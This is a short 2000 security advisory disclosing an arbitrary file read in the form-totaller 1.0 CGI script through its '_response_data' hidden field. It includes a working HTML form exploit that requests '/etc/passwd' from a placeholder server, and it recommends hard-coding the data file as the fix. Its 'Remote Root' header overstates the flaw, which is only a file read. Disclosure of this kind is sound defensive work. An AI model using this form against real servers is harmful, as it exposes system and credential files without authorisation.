Form-Totaller version 1.0 (form-totaller.cgi) trusts user input for filenames, allowing a remote user to read any file on the webserver.
e3d777d52f8cfacde87ec258a2d6cfa48ba8b637c56c21835cdf716ee4620394
Content-Type: Remote Root via vulnerible CGI software
Date : 13/08/2000
Sender : s1gnal_9 <s1gnal-9@vs-solutions.com>
Subject : form-totaller Vulnerible CGI
X-System : UNIX/NT systems running the form-totaller CGI software
X-Status : s1gnal_9-ADVISORY-form-totaller.txt
X-Greets : Narr0w, f0bic, VetesGirl
_________________________________________________________________________________
PRODUCT NAME: form-totaller version 1.0
PRODUCT HOMEPAGE: http://www.newbreedsoftware.com/form-totaller/
Also Available at freecode.com
DESCRIPTION :
Use "form-totaller" to create tests and quizes on the web.
Use forms with pull-down menus or radio buttons and this CGI will display
output based on their input.
PROBLEM:
The command field "_response_data" is the field that specifies the display output
based on their input.
The default file for this field is set at:
<input type="hidden" name="_response_data" value="responses.dat">
A remote attacker could easily change the cgi script to use "/etc/passwd" as the
response data value.
EXAMPLE:
Below is a example of how we could read files on the remote system.
<-------------------------CUT HERE-------------------------------------->
<form action="http://www.SOMESERVER.com/form-totaller/form-totaller.cgi" method="post">
<input type="hidden" name="_response_top" value="top.html">
<input type="hidden" name="_response_data" value="/etc/passwd">
<input type="hidden" name="_response_bottom" value="bottom.html">
<input type="hidden" name="_divide_by" value="4">
<input type="submit" value="Click for viewing of the /etc/passwd file.">
</form>
<-------------------------CUT HERE-------------------------------------->
SOLUTION
I would recommend hard-coding the response_data file right into the script
and leave that command field out of the cgi.
Please visit www.zone.ee/unix :)